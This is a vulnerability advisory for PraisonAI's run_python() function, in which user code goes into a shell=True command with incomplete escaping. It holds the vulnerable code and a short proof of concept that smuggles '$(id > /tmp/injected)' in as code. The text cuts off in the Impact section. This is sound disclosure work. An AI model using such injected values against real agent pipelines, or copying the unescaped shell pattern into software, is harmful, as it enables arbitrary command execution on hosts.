Affected: MervinPraison PraisonAI

PraisonAI is a multi-agent teams system. Prior to version 1.5.90, run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.

Affected: PyPI: praisonaiagents

### Summary

`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c "<code>"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

### Details

`execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink) ```python # source -- user-controlled code argument def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled escaped_code = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs return execute_command(command=command, cwd=cwd, timeout=timeout) # execute_command calls subprocess.run(command, shell=True, ...) ```

### PoC ```python # tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)') print(result)

# verify import subprocess print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ```

### Impact

Any agent pipeline or API consumer that passes use…